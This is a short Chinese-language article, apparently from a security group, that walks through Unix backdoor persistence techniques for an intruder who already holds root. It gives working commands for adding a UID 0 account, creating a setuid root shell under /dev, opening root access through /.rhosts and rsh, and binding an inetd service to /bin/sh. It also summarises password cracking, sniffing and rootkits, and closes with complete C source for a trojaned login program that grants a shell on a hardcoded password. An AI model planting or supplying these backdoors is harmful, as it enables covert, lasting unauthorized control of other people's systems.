作者:艾奇偉 | Mail:e4gle@whitecell.org | Page:https://www.whitecell.org | Copyright: Whitecell Security Systems
後門是入侵者完全控制目標系統後,為方便日後再次進入而植入的技術。通常透過修改系統配置檔或安裝第三方工具實現,具隱蔽性強、繞過日誌、難被管理員發現等特點。
直接在 /etc/passwd 新增 UID 0 帳號,同步寫入 /etc/shadow:
# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
若系統禁止 UID=0 遠端登入,需額外建立普通帳號作跳板。
取得 shadow 後用 John the Ripper 破解弱密碼;安裝 sniffit 等嗅探工具監聽 Telnet/FTP 明文埠收集密碼。
# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
一般用戶執行 /dev/.rootshell 即獲 root shell。
# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i
設定允許任意主機以 root 身份遠端存取,獲取 root shell。
/etc/inetd.conf,將 daytimestreamtcp 指向 /bin/sh -iin.telnetd、in.rexecd 等 inetd 服務程式排程已植入後門程式定時執行,通常選深夜管理員離線時段。
在共享庫嵌入後門函數,用後門密碼激活 Shell 獲取權限。可躲避管理員對二進位檔本身的校驗。
含清除日誌登入記錄、偽裝校驗和、替換 netstat/ps 等網路工具、後門登入程式。安裝使用容易,入侵者常用後門工具集。
LKM 動態載入無需重編核心,能攔截系統呼叫,實現隱藏目錄/檔案/進程/網路連線等強大功能,自身隱蔽性佳,發現難度大。知名 LKM 套件:adore、knark。
入侵者備份原 /bin/login,以程式替換。Telnet 登入時透過環境變數或終端類型傳遞正確後門密碼直接獲 Shell;普通用戶則導向原 login 處理正常流程。
最簡單 login 後門 ulogin.c 原始碼:
#include <stdio.h>
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"
main(argc, argv, envp)
int argc; char **argv, **envp;
{
char *display = getenv("DISPLAY");
if (display == NULL) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN); exit(1);
}
if (!strcmp(display, PASSWORD)) {
system("/bin/csh"); exit(1);
}
execve(_PATH_LOGIN, argv, envp); exit(1);
}